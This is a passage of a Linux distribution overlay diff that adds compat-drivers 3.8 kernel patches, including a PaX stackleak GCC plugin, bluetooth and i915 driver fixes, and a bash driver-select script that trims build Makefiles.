++static struct rtl_opt_pass stackleak_final_rtl_opt_pass = {
++	.pass = {
++		.type			= RTL_PASS,
++		.name			= "stackleak_final",
++		.gate			= gate_stackleak_track_stack,
++		.execute		= execute_stackleak_final,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_dump_func
++	}
++};
++
++static bool gate_stackleak_track_stack(void)
++{
++	return track_frame_size >= 0;
++}
++
++static void stackleak_check_alloca(gimple_stmt_iterator *gsi)
++{
++	gimple check_alloca;
++	tree fntype, fndecl, alloca_size;
++
++	fntype = build_function_type_list(void_type_node, long_unsigned_type_node, NULL_TREE);
++	fndecl = build_fn_decl(check_function, fntype);
++	DECL_ASSEMBLER_NAME(fndecl); // for LTO
++
++	// insert call to void pax_check_alloca(unsigned long size)
++	alloca_size = gimple_call_arg(gsi_stmt(*gsi), 0);
++	check_alloca = gimple_build_call(fndecl, 1, alloca_size);
++	gsi_insert_before(gsi, check_alloca, GSI_SAME_STMT);
++}
++
++static void stackleak_add_instrumentation(gimple_stmt_iterator *gsi)
++{
++	gimple track_stack;
++	tree fntype, fndecl;
++
++	fntype = build_function_type_list(void_type_node, NULL_TREE);
++	fndecl = build_fn_decl(track_function, fntype);
++	DECL_ASSEMBLER_NAME(fndecl); // for LTO
++
++	// insert call to void pax_track_stack(void)
++	track_stack = gimple_build_call(fndecl, 0);
++	gsi_insert_after(gsi, track_stack, GSI_CONTINUE_LINKING);
++}
++
++#if BUILDING_GCC_VERSION == 4005
++static bool gimple_call_builtin_p(gimple stmt, enum built_in_function code)
++{
++	tree fndecl;
++
++	if (!is_gimple_call(stmt))
++		return false;
++	fndecl = gimple_call_fndecl(stmt);
++	if (!fndecl)
++		return false;
++	if (DECL_BUILT_IN_CLASS(fndecl) != BUILT_IN_NORMAL)
++		return false;
++//	print_node(stderr, "pax", fndecl, 4);
++	return DECL_FUNCTION_CODE(fndecl) == code;
++}
++#endif
++
++static bool is_alloca(gimple stmt)
++{
++	if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA))
++		return true;
++
++#if BUILDING_GCC_VERSION >= 4007
++	if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA_WITH_ALIGN))
++		return true;
++#endif
++
++	return false;
++}
++
++static unsigned int execute_stackleak_tree_instrument(void)
++{
++	basic_block bb, entry_bb;
++	bool prologue_instrumented = false, is_leaf = true;
++
++	entry_bb = ENTRY_BLOCK_PTR_FOR_FUNCTION(cfun)->next_bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			gimple stmt;
++
++			stmt = gsi_stmt(gsi);
++
++			if (is_gimple_call(stmt))
++				is_leaf = false;
++
++			// gimple match: align 8 built-in BUILT_IN_NORMAL:BUILT_IN_ALLOCA attributes <tree_list 0xb7576450>
++			if (!is_alloca(stmt))
++				continue;
++
++			// 2. insert stack overflow check before each __builtin_alloca call
++			stackleak_check_alloca(&gsi);
++
++			// 3. insert track call after each __builtin_alloca call
++			stackleak_add_instrumentation(&gsi);
++			if (bb == entry_bb)
++				prologue_instrumented = true;
++		}
++	}
++
++	// special cases for some bad linux code: taking the address of static inline functions will materialize them
++	// but we mustn't instrument some of them as the resulting stack alignment required by the function call ABI
++	// will break other assumptions regarding the expected (but not otherwise enforced) register clobbering  ABI.
++	// case in point: native_save_fl on amd64 when optimized for size clobbers rdx if it were instrumented here.
++	if (is_leaf && !TREE_PUBLIC(current_function_decl) && DECL_DECLARED_INLINE_P(current_function_decl))
++		return 0;
++	if (is_leaf && !strncmp(IDENTIFIER_POINTER(DECL_NAME(current_function_decl)), "_paravirt_", 10))
++		return 0;
++
++	// 4. insert track call at the beginning
++	if (!prologue_instrumented) {
++		gimple_stmt_iterator gsi;
++
++		bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++		if (dom_info_available_p(CDI_DOMINATORS))
++			set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR);
++		gsi = gsi_start_bb(bb);
++		stackleak_add_instrumentation(&gsi);
++	}
++
++	return 0;
++}
++
++static unsigned int execute_stackleak_final(void)
++{
++	rtx insn;
++
++	if (cfun->calls_alloca)
++		return 0;
++
++	// keep calls only if function frame is big enough
++	if (get_frame_size() >= track_frame_size)
++		return 0;
++
++	// 1. find pax_track_stack calls
++	for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) {
++		// rtl match: (call_insn 8 7 9 3 (call (mem (symbol_ref ("pax_track_stack") [flags 0x41] <function_decl 0xb7470e80 pax_track_stack>) [0 S1 A8]) (4)) -1 (nil) (nil))
++		rtx body;
++
++		if (!CALL_P(insn))
++			continue;
++		body = PATTERN(insn);
++		if (GET_CODE(body) != CALL)
++			continue;
++		body = XEXP(body, 0);
++		if (GET_CODE(body) != MEM)
++			continue;
++		body = XEXP(body, 0);
++		if (GET_CODE(body) != SYMBOL_REF)
++			continue;
++		if (strcmp(XSTR(body, 0), track_function))
++			continue;
++//		warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size);
++		// 2. delete call
++		insn = delete_insn_and_edges(insn);
++#if BUILDING_GCC_VERSION >= 4007
++		if (GET_CODE(insn) == NOTE && NOTE_KIND(insn) == NOTE_INSN_CALL_ARG_LOCATION)
++			insn = delete_insn_and_edges(insn);
++#endif
++	}
++
++//	print_simple_rtl(stderr, get_insns());
++//	print_rtl(stderr, get_insns());
++//	warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size);
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	struct register_pass_info stackleak_tree_instrument_pass_info = {
++		.pass				= &stackleak_tree_instrument_pass.pass,
++//		.reference_pass_name		= "tree_profile",
++		.reference_pass_name		= "optimized",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++	struct register_pass_info stackleak_final_pass_info = {
++		.pass				= &stackleak_final_rtl_opt_pass.pass,
++		.reference_pass_name		= "final",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &stackleak_plugin_info);
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "track-lowest-sp")) {
++			if (!argv[i].value) {
++				error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++				continue;
++			}
++			track_frame_size = atoi(argv[i].value);
++			if (argv[i].value[0] < '0' || argv[i].value[0] > '9' || track_frame_size < 0)
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++			continue;
++		}
++		if (!strcmp(argv[i].key, "initialize-locals")) {
++			if (argv[i].value) {
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++				continue;
++			}
++			init_locals = true;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_tree_instrument_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_final_pass_info);
++
++	return 0;
++}
+--- include/net/bluetooth/bluetooth.h
++++ include/net/bluetooth/bluetooth.h
+@@ -207,7 +207,7 @@
+         struct file_operations   fops;
+         int (* custom_seq_show)(struct seq_file *, void *);
+ #endif
+-};
++} __no_const;
+ 
+ int  bt_sock_register(int proto, const struct net_proto_family *ops);
+ int  bt_sock_unregister(int proto);
+--- drivers/gpu/drm/i915/i915_drv.h
++++ drivers/gpu/drm/i915/i915_drv.h
+@@ -274,12 +274,12 @@
+ 	/* render clock increase/decrease */
+ 	/* display clock increase/decrease */
+ 	/* pll clock increase/decrease */
+-};
++} __no_const;
+ 
+ struct drm_i915_gt_funcs {
+ 	void (*force_wake_get)(struct drm_i915_private *dev_priv);
+ 	void (*force_wake_put)(struct drm_i915_private *dev_priv);
+-};
++} __no_const;
+ 
+ #define DEV_INFO_FLAGS \
+ 	DEV_INFO_FLAG(is_mobile) DEV_INFO_SEP \
diff --git a/sys-kernel/compat-drivers/files/compat-drivers-3.8-ath6kl.patch b/sys-kernel/compat-drivers/files/compat-drivers-3.8-ath6kl.patch
new file mode 100644
index 00000000..8bec2867
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/compat-drivers-3.8-ath6kl.patch
@@ -0,0 +1,37 @@
+Fixes for:
+drivers/net/wireless/ath/ath6kl/sdio.c: In function ‘ath6kl_sdio_alloc_prep_scat_req’:
+drivers/net/wireless/ath/ath6kl/sdio.c:1478:1: warning: find_arg_number: cannot find the buf_sz argument in ath6kl_sdio_alloc_prep_scat_req [enabled by default]
+drivers/net/wireless/ath/ath6kl/sdio.c:1478:1: warning: find_arg_number: cannot find the sg_sz argument in ath6kl_sdio_alloc_prep_scat_req [enabled by default]
+--- ./drivers/net/wireless/ath/ath6kl/sdio.c
++++ ./drivers/net/wireless/ath/ath6kl/sdio.c
+@@ -341,11 +341,14 @@
+ 	scat_list_sz = (n_scat_entry - 1) * sizeof(struct hif_scatter_item);
+ 	scat_req_sz = sizeof(*s_req) + scat_list_sz;
+ 
+-	if (!virt_scat)
+-		sg_sz = sizeof(struct scatterlist) * n_scat_entry;
+-	else
+-		buf_sz =  2 * L1_CACHE_BYTES +
+-			  ATH6KL_MAX_TRANSFER_SIZE_PER_SCATTER;
++	if (!virt_scat) {
++ 		sg_sz = sizeof(struct scatterlist) * n_scat_entry;
++		buf_sz = 0;
++	} else {
++		sg_sz = 0;
++ 		buf_sz =  2 * L1_CACHE_BYTES +
++ 			  ATH6KL_MAX_TRANSFER_SIZE_PER_SCATTER;
++	}
+ 
+ 	for (i = 0; i < n_scat_req; i++) {
+ 		/* allocate the scatter request */
+--- ./drivers/gpu/drm/i915/intel_display.c
++++ ./drivers/gpu/drm/i915/intel_display.c
+@@ -7110,7 +7110,7 @@
+ 	obj = work->old_fb_obj;
+ 
+ 	atomic_clear_mask(1 << intel_crtc->plane,
+-			  &obj->pending_flip.counter);
++			  &obj->pending_flip);
+ 	wake_up(&dev_priv->pending_flip_queue);
+ 
+ 	queue_work(dev_priv->wq, &work->work);
diff --git a/sys-kernel/compat-drivers/files/compat-drivers-3.8-bt_tty.patch b/sys-kernel/compat-drivers/files/compat-drivers-3.8-bt_tty.patch
new file mode 100644
index 00000000..dd299121
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/compat-drivers-3.8-bt_tty.patch
@@ -0,0 +1,37 @@
+--- compat-drivers-3.8-rc7-1-u.orig/net/bluetooth/rfcomm/tty.c	2013-02-11 00:31:59.000000000 +0100
++++ compat-drivers-3.8-rc7-1-u/net/bluetooth/rfcomm/tty.c	2013-02-13 12:39:58.983001215 +0100
+@@ -309,7 +309,7 @@
+ 	BUG_ON(test_and_set_bit(RFCOMM_TTY_RELEASED, &dev->flags));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (dev->port.count > 0) {
++	if (atomic_read(&dev->port.count) > 0) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return;
+ 	}
+@@ -664,10 +664,10 @@
+ 		return -ENODEV;
+ 
+ 	BT_DBG("dev %p dst %pMR channel %d opened %d", dev, &dev->dst,
+-	       dev->channel, dev->port.count);
++            dev->channel, atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (++dev->port.count > 1) {
++	if (atomic_inc_return(&dev->port.count) > 1) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return 0;
+ 	}
+@@ -736,10 +736,10 @@
+ 		return;
+ 
+ 	BT_DBG("tty %p dev %p dlc %p opened %d", tty, dev, dev->dlc,
+-						dev->port.count);
++                        atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (!--dev->port.count) {
++	if (!atomic_dec_return(&dev->port.count)) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		if (dev->tty_dev->parent)
+ #if (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,29))
diff --git a/sys-kernel/compat-drivers/files/compat-drivers-3.8-driver-select b/sys-kernel/compat-drivers/files/compat-drivers-3.8-driver-select
new file mode 100755
index 00000000..bafaf352
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/compat-drivers-3.8-driver-select
@@ -0,0 +1,845 @@
+#!/usr/bin/env bash
+# Copyright 2009        Luis R. Rodriguez <mcgrof@gmail.com>
+#
+# This script allows you to select your compat-drivers driver and
+# reduce compilation time.
+
+# Heavily modified by Stefan Kuhn <wuodan@pentoo.ch>
+# Configures compat-drivers for multiple drivers at once
+# Suited for package managers
+
+# This internal variable contains a list of all 'Makefile's
+CPD_MAKEFILES="
+	MAKEFILE
+	COMPAT_CONFIG_CW
+	DRIVERS_MAKEFILE
+	ATH_MAKEFILE
+	ATH9K_MAKEFILE
+	BRCM80211_MAKEFILE
+	RT2X00_MAKEFILE
+	TI_MAKEFILE
+	NET_WIRELESS_MAKEFILE
+	EEPROM_MAKEFILE
+	DRIVERS_NET_ATHEROS
+	DRIVERS_NET_BROADCOM
+	DRIVERS_NET_USB_MAKEFILE
+	SSB_MAKEFILE
+	BCMA_MAKEFILE"
+
+# This internal variable contains an array with paths to all files
+CPD_MAKEFILES_ARRAY=(
+	MAKEFILE=Makefile
+	COMPAT_CONFIG_CW=config.mk
+	DRIVERS_MAKEFILE=drivers/net/wireless/Makefile
+	ATH_MAKEFILE=drivers/net/wireless/ath/Makefile
+	ATH9K_MAKEFILE=drivers/net/wireless/ath/ath9k/Makefile
+	BRCM80211_MAKEFILE=drivers/net/wireless/brcm80211/Makefile
+	RT2X00_MAKEFILE=drivers/net/wireless/rt2x00/Makefile
+	TI_MAKEFILE=drivers/net/wireless/ti/Makefile
+	NET_WIRELESS_MAKEFILE=net/wireless/Makefile
+	EEPROM_MAKEFILE=drivers/misc/eeprom/Makefile
+	DRIVERS_NET_ATHEROS=drivers/net/ethernet/atheros/Makefile
+	DRIVERS_NET_BROADCOM=drivers/net/ethernet/broadcom/Makefile
+	DRIVERS_NET_USB_MAKEFILE=drivers/net/usb/Makefile
+	SSB_MAKEFILE=drivers/ssb/Makefile
+	BCMA_MAKEFILE=drivers/bcma/Makefile
+)
+
+# This internal variable holds modules to be added to the atheros Makefile
+CPD_ADD_ATHEROS=""
+
+# This internal variable controls the execution phase (and write protection)
+# phases: 0=start, 1=configure, 2=write, 3=restore
+# no file should be touched below phase 2
+CPD_PHASE=0
+
+# CPD_MODULE
+# This internal variable contains a temporary value, the currently processed
+# argument
+
+# CPD_DISABLE_${CPD_MODULE}
+# These internal variables contains the 'disable-actions' of the # currently
+# processed argument
+
+# This internal variable stores selected drivers (and groups)
+CPD_SELECTED_DRIVERS=''
+
+function die {
+	echo "$1" 1>&2
+	exit 1
+}
+
+function check_phase {
+	[ ${CPD_PHASE} -lt ${1} ] && \
+		die "Current phase ${CPD_PHASE} lower then ${1}. Check failed"
+}
+
+# This internal function returns the path to a file from CPD_MAKEFILES_ARRAY
+function get_makefile {
+	local file
+	for file in "${CPD_MAKEFILES_ARRAY[@]}"; do
+		if [ "${file%%=*}"	= "${1}" ]; then
+			echo "${file#*=}"
+			return 0
+		fi
+	done
+	die "File ${1} not found"
+}
+
+
+# used to backup files from foo to foo.${BACKUP_EXT}
+BACKUP_EXT="bk"
+
+# Pretty colors
+GREEN="\033[01;32m"
+YELLOW="\033[01;33m"
+NORMAL="\033[00m"
+BLUE="\033[34m"
+RED="\033[31m"
+PURPLE="\033[35m"
+CYAN="\033[36m"
+UNDERLINE="\033[02m"
+
+# this internal function disables colors
+function unset_colors {
+	GREEN=
+	YELLOW=
+	NORMAL=
+	BLUE=
+	RED=
+	PURPLE=
+	CYAN=
+	UNDERLINE=
+}
+
+SUPPORTED_80211_DRIVERS="ath5k ath9k ath9k_ap ath9k_htc carl9170 ath6kl wil6210 b43 zd1211rw rt2x00 wl1251 wl12xx brcmsmac brcmfmac"
+
+# b43 needs some more work for driver-select, the SSB stuff, plus
+# what if you update b44 but not b43? It will bust.
+SUPPORTED_ETH_DRIVERS="atl1 atl2 atl1e atl1c alx"
+
+SUPPORTED_DRM_DRIVERS="i915"
+
+SUPPORTED_DRIVERS="${SUPPORTED_80211_DRIVERS} ${SUPPORTED_ETH_DRIVERS} ${SUPPORTED_DRM_DRIVERS}"
+
+function usage {
+	echo -e "${GREEN}Usage${NORMAL}: ${BOLD}$0${NORMAL} [${PURPLE}-q${NORMAL}] [ ${PURPLE}<driver-name>${NORMAL} | ${CYAN}<driver-group-name>${NORMAL} | ${GREEN}restore${NORMAL} ]"
+
+	# These should match the switch below.
+	echo -e "Supported 802.11 drivers:"
+	local i
+	for i in $SUPPORTED_80211_DRIVERS; do
+		echo -e "\t${PURPLE}${i}${NORMAL}"
+	done
+
+	echo
+	echo -e "Supported Ethernet drivers:"
+	for i in $SUPPORTED_ETH_DRIVERS; do
+		echo -e "\t${PURPLE}${i}${NORMAL}"
+	done
+
+	echo -e "Supported DRM drivers:"
+	for i in $SUPPORTED_DRM_DRIVERS; do
+		echo -e "\t${PURPLE}${i}${NORMAL}"
+	done
+
+	# These should match the switch below.
+	echo -e "\nSupported group drivers:"
+	echo -e "\t${CYAN}atheros${NORMAL} < ${PURPLE} ath5k ath9k carl9170 zd1211rw ath6kl wil6210${NORMAL}>"
+	echo -e "\t${CYAN}ath${NORMAL} < ${PURPLE} ath5k ath9k carl9170 ath6kl wil6210${NORMAL}>"
+	echo -e "\t${CYAN}brcm80211${NORMAL} < ${PURPLE} brcmsmac brcmfmac ${NORMAL}>"
+	echo -e "\t${CYAN}intel${NORMAL} < ${PURPLE} iwlwifi, iwlegacy ${NORMAL}>"
+	echo -e "\t${CYAN}rtl818x${NORMAL} < ${PURPLE} rtl8180 rtl8187 ${NORMAL}>"
+	echo -e "\t${CYAN}rtlwifi${NORMAL} < ${PURPLE} rtl8192ce ${NORMAL}>"
+	echo -e "\t${CYAN}ti${NORMAL} < ${PURPLE} wl1251 wl12xx (SPI and SDIO)${NORMAL}>"
+	
+	echo -e "\nSupported group drivers: Bluetooth & Ethernet:"
+	echo -e "\t${CYAN}atlxx${NORMAL} < ${PURPLE} atl1 atl2 atl1e alx${NORMAL}>"
+	echo -e "\t${CYAN}bt${NORMAL} < ${PURPLE} Linux bluetooth drivers ${NORMAL}>"
+
+	echo -e "\nSupported group drivers: DRM:"
+	echo -e "\t${CYAN}drm${NORMAL} < ${PURPLE} i915${NORMAL}>"
+
+	echo
+	echo -e "Restoring compat-drivers:"
+	echo -e "\t${GREEN}restore${NORMAL}: you can use this option to restore compat-drivers to the original state"
+
+	echo
+	echo -e "Options:"
+	echo -e "\t${PURPLE}-q${NORMAL}:\tDisables colored output"
+}
+
+function backup_file {
+	check_phase 2
+	if [ -f $1.${BACKUP_EXT} ]; then
+		echo -e "Backup exists: ${CYAN}${1}.${BACKUP_EXT}${NORMAL}"
+		return
+	fi
+	echo -e "Backing up makefile: ${CYAN}${1}.${BACKUP_EXT}${NORMAL}"
+	cp "${1}" "${1}.${BACKUP_EXT}" || die
+}
+
+# This internal function registers a 'disable' action for a module.
+# It writes to a variable CPD_DISABLE_${CPD_MODULE}
+function disable {
+	check_phase 1
+	eval "CPD_DISABLE_${CPD_MODULE}+=\" ${*}\"" || die
+}
+
+# This internal function clears a Makefile completely.
+function disable_makefile
+{
+	check_phase 2
+	backup_file $1
+	echo > $1
+}
+
+function select_drivers_from_makefile
+{
+	check_phase 2
+	local MAKEFILE=$(get_makefile "$1")
+	shift
+	backup_file $MAKEFILE
+	local CONFIGS=""
+	local i
+	for i in $@; do
+		if [[ "$CONFIGS" = "" ]]; then
+			CONFIGS="$i"
+		else
+			CONFIGS="${CONFIGS}|$i"
+		fi
+	done
+	egrep "$CONFIGS" $MAKEFILE > ${MAKEFILE}.tmp
+	mv ${MAKEFILE}.tmp ${MAKEFILE}
+}
+
+# This internal function registers filters for the drivers Makefile
+function select_drivers {
+	check_phase 1
+	eval "CPD_DRIVERS_MAKEFILE+=\" ${*}\"" || die
+}
+
+# This internal function disables "lib80211"
+function disable_lib80211
+{
+	check_phase 2
+	backup_file "$(get_makefile NET_WIRELESS_MAKEFILE)"
+	# perl -i -ne 'print if ! /LIB80211/ ' $NET_WIRELESS_MAKEFILE
+	sed -i '/LIB80211/d' "$(get_makefile NET_WIRELESS_MAKEFILE)" || die
+}
+
+# This internal function disables "b44"
+function disable_b44 {
+	check_phase 2
+	backup_file "$(get_makefile DRIVERS_NET_BROADCOM)"
+	# perl -i -ne 'print if ! /CONFIG_B44/ ' $DRIVERS_NET_BROADCOM
+	sed -i '/CONFIG_B44/d' "$(get_makefile DRIVERS_NET_BROADCOM)" || die
+}
+
+# This internal function disables "ssb"
+function disable_ssb
+{
+	check_phase 2
+	disable_makefile "$(get_makefile ${SSB_MAKEFILE})"
+	# perl -i -ne 'print if ! /drivers\/ssb\//' Makefile
+	sed -i '/drivers\/ssb\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "bcma"
+function disable_bcma
+{
+	check_phase 2
+	disable_makefile "$(get_makefile ${BCMA_MAKEFILE})"
+	# perl -i -ne 'print if ! /drivers\/bcma\//' Makefile
+	sed -i '/drivers\/bcma\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "rfkill"
+function disable_rfkill
+{
+	check_phase 2
+	backup_file "$(get_makefile MAKEFILE)"
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_RFKILL/' Makefile
+	sed -i '/CONFIG_COMPAT_RFKILL/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "eprom"
+function disable_eeprom
+{
+	check_phase 2
+	disable_makefile "$(get_makefile ${EEPROM_MAKEFILE})" || die
+	# perl -i -ne 'print if ! /drivers\/misc\/eeprom\//' Makefile
+	sed -i '/drivers\/misc\/eeprom\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "usbnet"
+# TODO: this function is twice in driver-select script!?! Why?
+function disable_usbnet
+{
+	check_phase 2
+	disable_makefile ${DRIVERS_NET_USB_MAKEFILE} || die
+	# perl -i -ne 'print if ! /drivers\/net\/usb\//' Makefile
+	sed -i '/drivers\/net\/usb\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "usbnet"
+# TODO: this function is twice in driver-select script!?! Why?
+function disable_usbnet {
+	check_phase 2
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_NET_USB_MODULES/' Makefile
+	sed -i '/CONFIG_COMPAT_NET_USB_MODULES/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# This internal function disables "ethernet"
+function disable_ethernet {
+	check_phase 2
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_NETWORK_MODULES/' Makefile
+	sed -i '/CONFIG_COMPAT_NETWORK_MODULES/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# This internal function disables "var_03"
+function disable_var_03 {
+	check_phase 2
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_VAR_MODULES/' Makefile
+	sed -i '/CONFIG_COMPAT_VAR_MODULES/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# This internal function disables "bt"
+function disable_bt {
+	check_phase 2
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_BLUETOOTH/' Makefile
+	sed -i '/CONFIG_COMPAT_BLUETOOTH/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# This internal function disables "80211"
+function disable_80211 {
+	check_phase 2
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_WIRELESS/' Makefile
+	sed -i '/CONFIG_COMPAT_WIRELESS/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "drm"
+function disable_drm {
+	check_phase 2
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_VIDEO_MODULES/' Makefile
+	sed -i '/CONFIG_COMPAT_VIDEO_MODULES/d' "$(get_makefile MAKEFILE)" || die
+}
+
+function disable_bt_usb_ethernet {
+	check_phase 1
+	# backup_file Makefile
+	disable usbnet
+	disable ethernet
+	disable bt
+	disable update-initramfs
+	disable drm
+}
+
+function disable_bt_usb_ethernet_var {
+	check_phase 1
+	# backup_file Makefile
+	disable bt_usb_ethernet
+	disable var_03
+}
+
+function enable_only_ethernet {
+	check_phase 1
+	# backup_file Makefile
+	# backup_file $DRIVERS_NET_BROADCOM
+	# backup_file $DRIVERS_NET_ATHEROS
+	disable staging
+	disable usbnet
+	disable var_03
+	disable bt
+	disable drm
+	# rfkill may be needed if you enable b44 as you may have b43
+	disable rfkill
+	disable 80211
+}
+
+function disable_var {
+	check_phase 1
+	disable ssb
+	disable bcma
+	disable usbnet
+	disable eeprom
+	disable update-initramfs
+} 
+
+function disable_var_01 {
+	check_phase 1
+	disable lib80211
+	disable var
+}
+
+function disable_var_02 {
+	check_phase 1
+	#var_01 with eeprom not disabled
+	disable lib80211
+	disable ssb
+	disable bcma
+	disable usbnet
+	disable update-initramfs
+}
+
+# This internal function disables "staging"
+function disable_staging {
+	check_phase 2
+	backup_file "$(get_makefile MAKEFILE)"
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_STAGING/ ' Makefile
+	sed -i '/CONFIG_COMPAT_STAGING/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "update-initramfs"
+function disable_update-initramfs
+{
+	check_phase 2
+	backup_file "$(get_makefile MAKEFILE)"
+	# perl -i -ne 'print if ! /update-initramfs/' Makefile
+	sed -i '/update-initramfs/d' "$(get_makefile MAKEFILE)" || die
+}
+
+function enable_only_drm {
+	check_phase 1
+	# backup_file Makefile
+	disable ethernet
+	disable staging
+	disable usbnet
+	disable var_03
+	disable bt
+	# rfkill may be needed if you enable b44 as you may have b43
+	disable rfkill
+	disable 80211
+}
+
+# This internal function registers filters for the ath Makefile
+function select_ath_driver 
+{
+	check_phase 1
+	# backup_file $ATH_MAKEFILE
+	# perl -i -ne 'print if /'$1'/ || /CONFIG_ATH_/ || /ath-objs/ || /regd.o/ || /hw.o/ || /key.o/' $ATH_MAKEFILE
+	eval "CPD_ATH_MAKEFILE+=\" ${*} CONFIG_ATH_ ath-objs regd.o hw.o key.o\"" || die
+	disable var_01
+}
+
+# This internal function registers no-common filters for the ath Makefile
+function select_ath_no_common
+{
+	check_phase 1
+	# backup_file $ATH_MAKEFILE
+	# perl -i -ne 'print if /'$1'/' $ATH_MAKEFILE
+	eval "CPD_ATH_MAKEFILE+=\" ${*}\"" || die
+	disable var_01
+}
+
+function select_ath9k_driver
+{
+	check_phase 1
+	select_ath_driver CONFIG_ATH9K_HW
+	# In the future here we'll add stuff to disable ath9k_htc
+}
+
+function select_ath9k_driver_ap
+{
+	check_phase 1
+	select_ath9k_driver
+	# backup_file $COMPAT_CONFIG_CW
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_ATH9K_RATE_CONTROL/ ' $COMPAT_CONFIG_CW
+	# this does not work with multipe drivers, since it's the only filter to that file
+	# It is only applied when only the ath9k_ap driver is selected and nothing else
+	# eval "CPD_COMPAT_CONFIG_CW+=\" CONFIG_COMPAT_ATH9K_RATE_CONTROL\"" || die
+}
+
+# This internal function registers filters for the ti Makefile
+function select_ti_drivers
+{
+	check_phase 1
+	select_drivers CONFIG_WL_TI
+	# select_drivers_from_makefile $TI_MAKEFILE $@
+	eval "CPD_TI_MAKEFILE+=\" ${*}\"" || die
+}
+
+# This internal function registers filters for the brcm80211 Makefile
+function select_brcm80211_driver 
+{
+	check_phase 1
+	# backup_file $BRCM80211_MAKEFILE
+	# perl -i -ne 'print if /'$1'/ || /CONFIG_BRCMUTIL/ ' $BRCM80211_MAKEFILE
+	eval "CPD_BRCM80211_MAKEFILE+=\" ${*} CONFIG_BRCMUTIL\"" || die
+}
+
+function restore_file {
+	check_phase 3
+	local ORIG="${1%%.${BACKUP_EXT}}" || die
+	cp $1 $ORIG || die
+	rm -f $1 || die
+	echo -e "Restored makefile: ${CYAN}${ORIG}${NORMAL} (and removed backup)"
+}
+
+function restore_compat {
+	check_phase 3
+	local FILES=$(find ./ -type f -name *\."${BACKUP_EXT}") || die
+	local i
+	for i in $FILES; do
+		restore_file $i
+	done
+}
+
+if [ ! -f .compat_version ]; then
+	die "Must run $0 from the compat-drivers top level directory"
+fi
+
+# set phase to configure
+CPD_PHASE=1
+
+# loop over all arguments
+# This sets the configuration for each flag/module
+for arg in "$@"; do
+	# clear/set global vars
+	CPD_MODULE="$arg"
+	CPD_SELECTED_DRIVERS+=" $arg"
+	case "$arg" in
+		restore)
+			CPD_PHASE=3
+			restore_compat
+			exit 0
+			;;
+		usage)
+			usage
+			exit 0
+			;;
+		-q)
+			unset_colors || die
+			CPD_SELECTED_DRIVERS="${CPD_SELECTED_DRIVERS% -q}"
+			;;
+	# Group drivers
+		atheros)
+			select_drivers		CONFIG_ATH_CARDS \
+						CONFIG_COMPAT_ZD1211RW
+			disable staging
+			disable_bt_usb_ethernet_var
+			disable var_01
+			;;
